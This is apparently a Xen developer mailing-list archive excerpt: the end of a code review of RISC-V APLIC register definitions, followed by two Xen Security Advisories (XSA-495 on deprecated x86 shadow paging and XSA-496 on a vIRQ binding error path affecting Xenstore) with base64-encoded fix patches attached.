>  #define APLIC_SOURCECFG_SM_DETACH       0x1
>  #define APLIC_SOURCECFG_SM_EDGE_RISE    0x4
> @@ -32,7 +35,39 @@
>  #define APLIC_SOURCECFG_SM_LEVEL_HIGH   0x6
>  #define APLIC_SOURCECFG_SM_LEVEL_LOW    0x7
>  
> +/* target register fields */
>  #define APLIC_TARGET_HART_IDX_SHIFT 18
> +#define APLIC_TARGET_EIID_MASK      0x7ff

So why would these live here, far ahead of ...

> +#define APLIC_DOMAINCFG         0x0000
> +#define APLIC_SOURCECFG_BASE    0x0004
> +#define APLIC_SOURCECFG_LAST    0x0ffc
> +
> +#define APLIC_SMSICFGADDR       0x1bc8
> +#define APLIC_SMSICFGADDRH      0x1bcc
> +
> +#define APLIC_SETIP_BASE        0x1c00
> +#define APLIC_SETIP_LAST        0x1c7c
> +#define APLIC_SETIPNUM          0x1cdc
> +
> +#define APLIC_CLRIP_BASE        0x1d00
> +#define APLIC_CLRIP_LAST        0x1d7c
> +#define APLIC_CLRIPNUM          0x1ddc
> +
> +#define APLIC_SETIE_BASE        0x1e00
> +#define APLIC_SETIE_LAST        0x1e7c
> +#define APLIC_SETIENUM          0x1edc
> +
> +#define APLIC_CLRIE_BASE        0x1f00
> +#define APLIC_CLRIE_LAST        0x1f7c
> +#define APLIC_CLRIENUM          0x1fdc
> +
> +#define APLIC_SETIPNUM_LE       0x2000
> +
> +#define APLIC_GENMSI            0x3000
> +
> +#define APLIC_TARGET_BASE       0x3004
> +#define APLIC_TARGET_LAST       0x3ffc

... the register definition itself. Would you mind taking a look at the top
third (or so) of arch/x86/include/asm/msr-index.h? There you'll find MSR
index values of MSRs we use, immediately followed by field definitions (of
course only where applicable). With such an arrangement, the extra comments
you add can easily be omitted.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372458.1619788 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYN-0006WG-GD; Tue, 28 Jul 2026 12:04:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372458.1619788; Tue, 28 Jul 2026 12:04:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYN-0006V5-Ac; Tue, 28 Jul 2026 12:04:59 +0000
Received: by outflank-mailman (input) for mailman id 1372458;
 Tue, 28 Jul 2026 12:04:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYL-0006Qv-83; Tue, 28 Jul 2026 12:04:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYK-006xWW-Kc; Tue, 28 Jul 2026 14:04:56 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689ae1-bab6-0a2a0a5309dd-0a2a4509a2a2-34
 for <multiple-recipients>; Tue, 28 Jul 2026 14:04:56 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689ae7-be1a-0a2a45090019-6882d725ebf0-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:04:56 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYD-00DP7e-0o;
 Tue, 28 Jul 2026 12:04:48 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYC-003Db7-2s;
 Tue, 28 Jul 2026 12:04:48 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 495 v2 (CVE-2026-42493) - x86 shadow paging
 is deprecated
Message-Id: <E1wogYC-003Db7-2s@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:04:48 +0000
X-purgate-ID: tlsNG-bad1c0/1785240296-FC212034-EB6E98A6/0/0
X-purgate-type: clean
X-purgate-size: 27271

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-42493 / XSA-495
                               version 2

                    x86 shadow paging is deprecated

UPDATES IN VERSION 2
====================

Updated the patch for staging with further CI adjustements.

Public release.

ISSUE DESCRIPTION
=================

Addressing certain issues, in particular related to operations which may
take excessively long and therefore would need preemption, has turned out
overly costly.  Since alternatives (HVM/PVH: HAP, PV: shim) are commonly
available, the decision was to deprecate the functionality, while still
retaining it for people to use at their own (security) risk.  Memory-wise
small enough guests may still be okay to run.

IMPACT
======

An unprivileged guest may be able to cause Denial of Service (DoS)
affecting the entire host.

VULNERABLE SYSTEMS
==================

All x86 systems with builds of Xen having SHADOW_PAGING=y are affected.
Note that prior to Xen 4.7 this control didn't exist, and all builds of
Xen would be affected.  (Strictly speaking Xen 4.6 had a different, harder
to use mechanism to disable shadow paging support: One could pass
"shadow-paging=n" on the make command line.)

MITIGATION
==========

Running HVM and PVH in Hardware Assisted Paging (HAP) mode will avoid this
vulnerability.

There's no mitigation available for PV guests.  This is because shadow
mode, if support is enabled in the hypervisor, could be engaged at any
time.  Note that without shadow mode built into Xen, guests not properly
dealing with L1TF will simply be crashed instead.

RESOLUTION
==========

Applying the appropriate attached patch documents this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa495.patch           xen-unstable - Xen 4.22.0
xsa495-4.21.patch      Xen 4.21.x
xsa495-4.20.patch      Xen 4.20.x - Xen 4.19.x
xsa495-4.18.patch      Xen 4.18.x
xsa495-4.17.patch      Xen 4.17.x

$ sha256sum xsa495*
949624ce241ddc455c43cdde0ff045cc5fdf29b69f06f7079fa8f1d2400e1d9d  xsa495.patch
bb1fea4b49840b81a1a7ca86124e308f23edd6eb078857d44d9ebaf1b352b374  xsa495-4.17.patch
06f2c862df85a17b9dc1d4a0df42cadb97e24b7033c070c9ad74ad72d278af0e  xsa495-4.18.patch
bffa5816be9ddf0fabec0509f2b74e30a5dd0e5429a3b7919e304150cb5091f2  xsa495-4.20.patch
7092cf37dbcfecc9aa6bf9a2836ed70f48f52bccb9630e94c89d2afe120b47f5  xsa495-4.21.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of patches or mitigations is NOT permitted (except where
all the affected systems and VMs are administered and used only by
organisations which are members of the Xen Project Security Issues
Predisclosure List).  Specifically, deployment on public cloud systems
is NOT permitted.

This is because switching HVM or PVH guests from shadow to HAP mode is a
guest noticeable change, while for PV guests the lack of shadow mode is
noticeable because they then cannot be migrated anymore, and guests not
properly fixed for L1TF would be forcibly crashed.

Deployment is permitted only AFTER the embargo ends.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomqUMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZH9wH/2EYJsV5YVdJsoQSlG94dqOR7IDPEI2I17wUVSoG
OK6BaqaejA1SHJbt0/wSkhJ9er+1UHzgr61S7EnE813mugu7T9nwTku1/++4DB9O
V/ID/NZzWwGJ2EjCHGrVTPZvmxMmVBGZs3bex00xrQ83y97D3TfmCRH0k6ip7sUh
kKSmdvTdlnODuV1+3KT09RIpDvOjVGXLpnd22++0CcT0eFoOrn0nH2dgdUw/grTf
7ye6pGcj2xViznw7FDJnXG4XOAC+wIBMX9HJK6rMOFR9P2DFUxUEcYVN+DlzR67h
3Mejc9U4Ll+65RoZbI01lmpnpqEJ33kPRGkwzA0CJmkF8wQ=
=evRY
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa495.patch"
Content-Disposition: attachment; filename="xsa495.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiB4ODY6IFNIQURPV19QQUdJTkcgaXMgZGVwcmVjYXRlZAoKQWRkcmVzc2lu
ZyBjZXJ0YWluIGlzc3VlcywgaW4gcGFydGljdWxhciByZWxhdGVkIHRvIG9w
ZXJhdGlvbnMgd2hpY2ggbWF5CnRha2UgZXhjZXNzaXZlbHkgbG9uZyBhbmQg
dGhlcmVmb3JlIHdvdWxkIG5lZWQgcHJlZW1wdGlvbiwgaGFzIHR1cm5lZCBv
dXQKb3Zlcmx5IGNvc3RseS4gU2luY2UgYWx0ZXJuYXRpdmVzIChIVk0vUFZI
OiBIQVAsIFBWOiBzaGltKSBhcmUgY29tbW9ubHkKYXZhaWxhYmxlLCB0aGUg
ZGVjaXNpb24gd2FzIHRvIGRlcHJlY2F0ZSB0aGUgZnVuY3Rpb25hbGl0eSwg
d2hpbGUgc3RpbGwKcmV0YWluaW5nIGl0IGZvciBwZW9wbGUgdG8gdXNlIGF0
IHRoZWlyIG93biAoc2VjdXJpdHkpIHJpc2suIE1lbW9yeS13aXNlCnNtYWxs
IGVub3VnaCBndWVzdHMgbWF5IHN0aWxsIGJlIG9rYXkgdG8gcnVuLgoKU29t
ZSBDSSB0ZXN0aW5nIGRlcGVuZHMgb24gU0hBRE9XX1BBR0lORy4gIEV4cGxp
Y2l0bHkgZW5hYmxlIGl0IHdoZW4gbmVlZGVkLgoKVGhpcyBpcyBDVkUtMjAy
Ni00MjQ5MyAvIFhTQS00OTUuCgpTaWduZWQtb2ZmLWJ5OiB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mRzOiAuZ2NjLXBwYzY0bGUtY3Jvc3MtYnVp
bGQtZGVidWcKZGlmZiAtLWdpdCBhL3hlbi9hcmNoL3g4Ni9LY29uZmlnIGIv
eGVuL2FyY2gveDg2L0tjb25maWcKaW5kZXggMmNlNDc0N2Y2ZWE3Li4zY2Uw
Nzc0YjhkNzYgMTAwNjQ0Ci0tLSBhL3hlbi9hcmNoL3g4Ni9LY29uZmlnCisr
KyBiL3hlbi9hcmNoL3g4Ni9LY29uZmlnCkBAIC0xNDUsNyArMTQ1LDYgQEAg
Y29uZmlnIFhFTl9JQlQKIAogY29uZmlnIFNIQURPV19QQUdJTkcKIAlib29s
ICJTaGFkb3cgUGFnaW5nIgotCWRlZmF1bHQgIVBWX1NISU1fRVhDTFVTSVZF
CiAJZGVwZW5kcyBvbiBQViB8fCBIVk0KIAloZWxwCiAJICBTaGFkb3cgcGFn
aW5nIGlzIGEgc29mdHdhcmUgYWx0ZXJuYXRpdmUgdG8gaGFyZHdhcmUgcGFn
aW5nIHN1cHBvcnQKQEAgLTE2MCw2ICsxNTksOSBAQCBjb25maWcgU0hBRE9X
X1BBR0lORwogCSAgVW5kZXIgYSBzbWFsbCBudW1iZXIgb2Ygc3BlY2lmaWMg
d29ya2xvYWRzLCBzaGFkb3cgcGFnaW5nIG1heSBiZQogCSAgZGVsaWJlcmF0
ZWx5IHVzZWQgYXMgYSBwZXJmb3JtYW5jZSBvcHRpbWlzYXRpb24uCiAKKwkg
IE5PVEU6IFRoaXMgZmVhdHVyZSBpcyBub3cgZGVwcmVjYXRlZC4gSXQgaXMg
aW4gcGFydGljdWxhciBubyBsb25nZXIKKwkgICAgICAgIHNlY3VyaXR5IHN1
cHBvcnRlZC4KKwogY29uZmlnIFBBR0lORwogCWRlZl9ib29sIEhWTSB8fCBT
SEFET1dfUEFHSU5HCiAK

--=separator
Content-Type: application/octet-stream; name="xsa495-4.17.patch"
Content-Disposition: attachment; filename="xsa495-4.17.patch"
Content-Transfer-Encoding: base64

RnJvb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OX0NPTkZJRzogfAorICAgICAgQ09ORklHX1NIQURP
V19QQUdJTkc9eQogCiBkZWJpYW4tYm9va3dvcm0tZ2NjOgogICBleHRlbmRz
OiAuZ2NjLXg4Ni02NC1idWlsZApkaWZmIC0tZ2l0IGEveGVuL2FyY2gveDg2
L0tjb25maWcgYi94ZW4vYXJjaC94ODYvS2NvbmZpZwppbmRleCAzNzA1NTg3
NTZmMGQuLmY0ZTM4NTg4YzZkZSAxMDA2NDQKLS0tIGEveGVuL2FyY2gveDg2
L0tjb25maWcKKysrIGIveGVuL2FyY2gveDg2L0tjb25maWcKQEAgLTE1MSw3
ICsxNTEsNiBAQCBjb25maWcgWEVOX0lCVAogCiBjb25maWcgU0hBRE9XX1BB
R0lORwogCWJvb2wgIlNoYWRvdyBQYWdpbmciCi0JZGVmYXVsdCAhUFZfU0hJ
TV9FWENMVVNJVkUKIAlkZXBlbmRzIG9uIFBWIHx8IEhWTQogCS0tLWhlbHAt
LS0KIApAQCAtMTY3LDcgKzE2Niw4IEBAIGNvbmZpZyBTSEFET1dfUEFHSU5H
CiAgICAgICAgICAgVW5kZXIgYSBzbWFsbCBudW1iZXIgb2Ygc3BlY2lmaWMg
d29ya2xvYWRzLCBzaGFkb3cgcGFnaW5nIG1heSBiZQogICAgICAgICAgIGRl
bGliZXJhdGVseSB1c2VkIGFzIGEgcGVyZm9ybWFuY2Ugb3B0aW1pc2F0aW9u
LgogCi0gICAgICAgICAgSWYgdW5zdXJlLCBzYXkgWS4KKwkgIE5PVEU6IFRo
aXMgZmVhdHVyZSBpcyBub3cgZGVwcmVjYXRlZC4gSXQgaXMgaW4gcGFydGlj
dWxhciBubyBsb25nZXIKKwkgICAgICAgIHNlY3VyaXR5IHN1cHBvcnRlZC4K
IAogY29uZmlnIEJJR01FTQogCWJvb2wgImJpZyBtZW1vcnkgc3VwcG9ydCIK

--=separator
Content-Type: application/octet-stream; name="xsa495-4.18.patch"
Content-Disposition: attachment; filename="xsa495-4.18.patch"
Content-Transfer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9hcmNoL3g4Ni9LY29uZmlnIGIveGVuL2FyY2gveDg2L0tj
b25maWcKaW5kZXggOTYxMWI4MDc2MTk3Li5mYjkxZWU0ZmE5ZDcgMTAwNjQ0
Ci0tLSBhL3hlbi9hcmNoL3g4Ni9LY29uZmlnCisrKyBiL3hlbi9hcmNoL3g4
Ni9LY29uZmlnCkBAIC0xNTEsNyArMTUxLDYgQEAgY29uZmlnIFhFTl9JQlQK
IAogY29uZmlnIFNIQURPV19QQUdJTkcKIAlib29sICJTaGFkb3cgUGFnaW5n
IgotCWRlZmF1bHQgIVBWX1NISU1fRVhDTFVTSVZFCiAJZGVwZW5kcyBvbiBQ
ViB8fCBIVk0KIAktLS1oZWxwLS0tCiAKQEAgLTE2Nyw3ICsxNjYsOCBAQCBj
b25maWcgU0hBRE9XX1BBR0lORwogICAgICAgICAgIFVuZGVyIGEgc21hbGwg
bnVtYmVyIG9mIHNwZWNpZmljIHdvcmtsb2Fkcywgc2hhZG93IHBhZ2luZyBt
YXkgYmUKICAgICAgICAgICBkZWxpYmVyYXRlbHkgdXNlZCBhcyBhIHBlcmZv
cm1hbmNlIG9wdGltaXNhdGlvbi4KIAotICAgICAgICAgIElmIHVuc3VyZSwg
c2F5IFkuCisJICBOT1RFOiBUaGlzIGZlYXR1cmUgaXMgbm93IGRlcHJlY2F0
ZWQuIEl0IGlzIGluIHBhcnRpY3VsYXIgbm8gbG9uZ2VyCisJICAgICAgICBz
ZWN1cml0eSBzdXBwb3J0ZWQuCiAKIGNvbmZpZyBCSUdNRU0KIAlib29sICJi
aWcgbWVtb3J5IHN1cHBvcnQiCg==

--=separator
Content-Type: application/octet-stream; name="xsa495-4.20.patch"
Content-Disposition: attachment; filename="xsa495-4.20.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiB4ODY6IFNIQURPV19QQUdJTkcgaXMgZGVwcmVjYXRlZAoKQWRkcmVzc2lu
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2NvbmZpZwppbmRleCA5NmZkMWMzMjcyZDEuLmY2M2M1NWM3
ODNmYyAxMDA2NDQKLS0tIGEveGVuL2FyY2gveDg2L0tjb25maWcKKysrIGIv
eGVuL2FyY2gveDg2L0tjb25maWcKQEAgLTE3Nyw3ICsxNzcsNiBAQCBjb25m
aWcgWEVOX0lCVAogCiBjb25maWcgU0hBRE9XX1BBR0lORwogCWJvb2wgIlNo
YWRvdyBQYWdpbmciCi0JZGVmYXVsdCAhUFZfU0hJTV9FWENMVVNJVkUKIAlk
ZXBlbmRzIG9uIFBWIHx8IEhWTQogCWhlbHAKIApAQCAtMTkzLDcgKzE5Miw4
IEBAIGNvbmZpZyBTSEFET1dfUEFHSU5HCiAgICAgICAgICAgVW5kZXIgYSBz
bWFsbCBudW1iZXIgb2Ygc3BlY2lmaWMgd29ya2xvYWRzLCBzaGFkb3cgcGFn
aW5nIG1heSBiZQogICAgICAgICAgIGRlbGliZXJhdGVseSB1c2VkIGFzIGEg
cGVyZm9ybWFuY2Ugb3B0aW1pc2F0aW9uLgogCi0gICAgICAgICAgSWYgdW5z
dXJlLCBzYXkgWS4KKwkgIE5PVEU6IFRoaXMgZmVhdHVyZSBpcyBub3cgZGVw
cmVjYXRlZC4gSXQgaXMgaW4gcGFydGljdWxhciBubyBsb25nZXIKKwkgICAg
ICAgIHNlY3VyaXR5IHN1cHBvcnRlZC4KIAogY29uZmlnIEJJR01FTQogCWJv
b2wgImJpZyBtZW1vcnkgc3VwcG9ydCIK

--=separator
Content-Type: application/octet-stream; name="xsa495-4.21.patch"
Content-Disposition: attachment; filename="xsa495-4.21.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiB4ODY6IFNIQURPV19QQUdJTkcgaXMgZGVwcmVjYXRlZAoKQWRkcmVzc2lu
ZyBjZXJ0YWluIGlzc3VlcywgaW4gcGFydGljdWxhciByZWxhdGVkIHRvIG9w
ZXJ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NDQKLS0tIGEveGVuL2FyY2gveDg2L0tjb25maWcKKysrIGIv
eGVuL2FyY2gveDg2L0tjb25maWcKQEAgLTE0NCw3ICsxNDQsNiBAQCBjb25m
aWcgWEVOX0lCVAogCiBjb25maWcgU0hBRE9XX1BBR0lORwogCWJvb2wgIlNo
YWRvdyBQYWdpbmciCi0JZGVmYXVsdCAhUFZfU0hJTV9FWENMVVNJVkUKIAlk
ZXBlbmRzIG9uIFBWIHx8IEhWTQogCWhlbHAKIApAQCAtMTYwLDcgKzE1OSw4
IEBAIGNvbmZpZyBTSEFET1dfUEFHSU5HCiAgICAgICAgICAgVW5kZXIgYSBz
bWFsbCBudW1iZXIgb2Ygc3BlY2lmaWMgd29ya2xvYWRzLCBzaGFkb3cgcGFn
aW5nIG1heSBiZQogICAgICAgICAgIGRlbGliZXJhdGVseSB1c2VkIGFzIGEg
cGVyZm9ybWFuY2Ugb3B0aW1pc2F0aW9uLgogCi0gICAgICAgICAgSWYgdW5z
dXJlLCBzYXkgWS4KKwkgIE5PVEU6IFRoaXMgZmVhdHVyZSBpcyBub3cgZGVw
cmVjYXRlZC4gSXQgaXMgaW4gcGFydGljdWxhciBubyBsb25nZXIKKwkgICAg
ICAgIHNlY3VyaXR5IHN1cHBvcnRlZC4KIAogY29uZmlnIFBBR0lORwogCWRl
Zl9ib29sIEhWTSB8fCBTSEFET1dfUEFHSU5HCg==

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372462.1619819 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYP-000734-2f; Tue, 28 Jul 2026 12:05:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372462.1619819; Tue, 28 Jul 2026 12:05:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYO-00070h-QS; Tue, 28 Jul 2026 12:05:00 +0000
Received: by outflank-mailman (input) for mailman id 1372462;
 Tue, 28 Jul 2026 12:04:59 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYN-0006RS-87; Tue, 28 Jul 2026 12:04:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYM-00BEEG-Kg; Tue, 28 Jul 2026 14:04:58 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689adb-2eae-0a2a0a5409dd-0a2a450ce1f8-48
 for <multiple-recipients>; Tue, 28 Jul 2026 14:04:58 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689ae9-f479-0a2a450c0019-6882d725b7c2-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:04:58 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYG-00DP88-1t;
 Tue, 28 Jul 2026 12:04:52 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYG-003Dcb-0p;
 Tue, 28 Jul 2026 12:04:52 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 496 v2 (CVE-2026-42492) - vIRQ event
 channel binding may break Xenstore
Message-Id: <E1wogYG-003Dcb-0p@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:04:52 +0000
X-purgate-ID: tlsNG-d25034/1785240298-50321A5B-A6843B0E/0/0
X-purgate-type: clean
X-purgate-size: 5444

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-42492 / XSA-496
                               version 2

             vIRQ event channel binding may break Xenstore

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

Xenstore, to have an up-to-date picture of the entire system, wants to
know of domains appearing and disappearing.  To make this more robust, a
new XEN_DOMCTL_get_domain_state was introduced.  The management of the
bitmap underlying that operation is tied into the binding of the
VIRQ_DOM_EXC virtual IRQ.  Unfortunately an error path there would tear
down the bitmap even in cases when it wasn't set up.  Unprivileged domains
can trigger that error path.

IMPACT
======

An unprivileged domain can affect the operation of Xenstore, potentially
leading to a Denial of Service (DoS) affecting the entire host.  A
hypervisor crash with similar host wide effect also is possible, albeit
unlikely.

VULNERABLE SYSTEMS
==================

Xen 4.21 and onwards are vulnerable.  Xen 4.20 and older are not
vulnerable.

MITIGATION
==========

There is no known mitigation.

CREDITS
=======

This issue was discovered by Grygorii Strashko of EPAM.

RESOLUTION
==========

Applying the attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa496.patch           xen-unstable - Xen 4.21.x

$ sha256sum xsa496*
80a0a807dd9d7ae793b462d78da2bd9d4f84eb5062f3e60622d12edde9c2a27c  xsa496.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomqwMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZc8IIALEzvp6RymbSYDSTBqNl4k+mRBOfMTdwOGKA9lNm
zYl9rFlGcTTR2HogU9Vplm0gQmcrksFndwXMzjkOqLlRnbDs6JsSIpuQaWi6jm7f
Fj0QLAMXLxLLMAPvC8j9kLJjJrlv7X1VeYolsHBSq3lCoqb5YgZaqMIDuOXgO9+7
//cSTRbaEnm4UBrV/WxUX1pd6RHOBbioJjyLwy4QZyfoTfXtVrw6bv5IHsq8GyD6
QYRFnh9fZ+33p7LDoU5jUlDO+TnJZeUlbWGqMTsxdGx8l93662nNGDIYrxJr+/8g
6CmXyObBkiI3qXRT7sSt1/FzdnoDIQTPtIyv4xuIi4GMT+0=
=V0J6
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa496.patch"
Content-Disposition: attachment; filename="xsa496.patch"
Content-Transfer-Encoding: base64

RnJvbTogR3J5Z29yaWkgU3RyYXNoa28gPGdyeWdvcmlpX3N0cmFzaGtvQGVw
YW0uY29tPgpTdWJqZWN0OiBldnRjaG46IGV2dGNobl9iaW5kX3ZpcnEoKSBl
cnJvciBwYXRoIHVuY29uZGl0aW9uYWxseSBjYWxscyBkb21haW5fZGVpbml0
X3N0YXRlcygpCgpUaGVyZSBpcyBhIGNvcm5lciBjYXNlIGluIHRoZSBlcnJv
ciBwYXRoIG9mIGV2dGNobl9iaW5kX3ZpcnEoKSAoaGFuZGxpbmcKRVZUQ0hO
T1BfYmluZF92aXJxIGh5cGVyY2FsbCkgd2hpY2ggYWxsb3dzIHVucHJpdmls
ZWdlZCBkb21haW5zIHRvCmludGVyZmVyZSB3aXRoIHByaXZpbGVnZWQgb25l
czogSWYgYW4gdW5wcml2aWxlZ2VkIGRvbWFpbiBhbGxvY2F0ZXMgYWxsCmF2
YWlsYWJsZSBwb3J0cyB0byByZWFjaCAibm8gbW9yZSBwb3J0cyBhdmFpbGFi
bGUiIGFuZCB0aGVuIGlzc3VlcyBhbgpFVlRDSE5PUF9iaW5kX3ZpcnEgaHlw
ZXJjYWxsIHRvIGJpbmQgYW55IGFsbG93ZWQgVklSUSAoZS5nLiBWSVJRX0RF
QlVHKSwKZG9tYWluX2RlaW5pdF9zdGF0ZXMoKSB3aWxsIGJlIGNhbGxlZCBk
ZXNwaXRlIG5vdCBoYXZpbmcgY2FsbGVkCmRvbWFpbl9pbml0X3N0YXRlcygp
LgoKVG8gZml4IHRoZSBpc3N1ZSBtb3ZlIGRvbWFpbl9kZWluaXRfc3RhdGVz
KGQpIHVuZGVyIHRoZSBzYW1lIGNvbmRpdGlvbiBhcwp1c2VkIGZvciB0aGUg
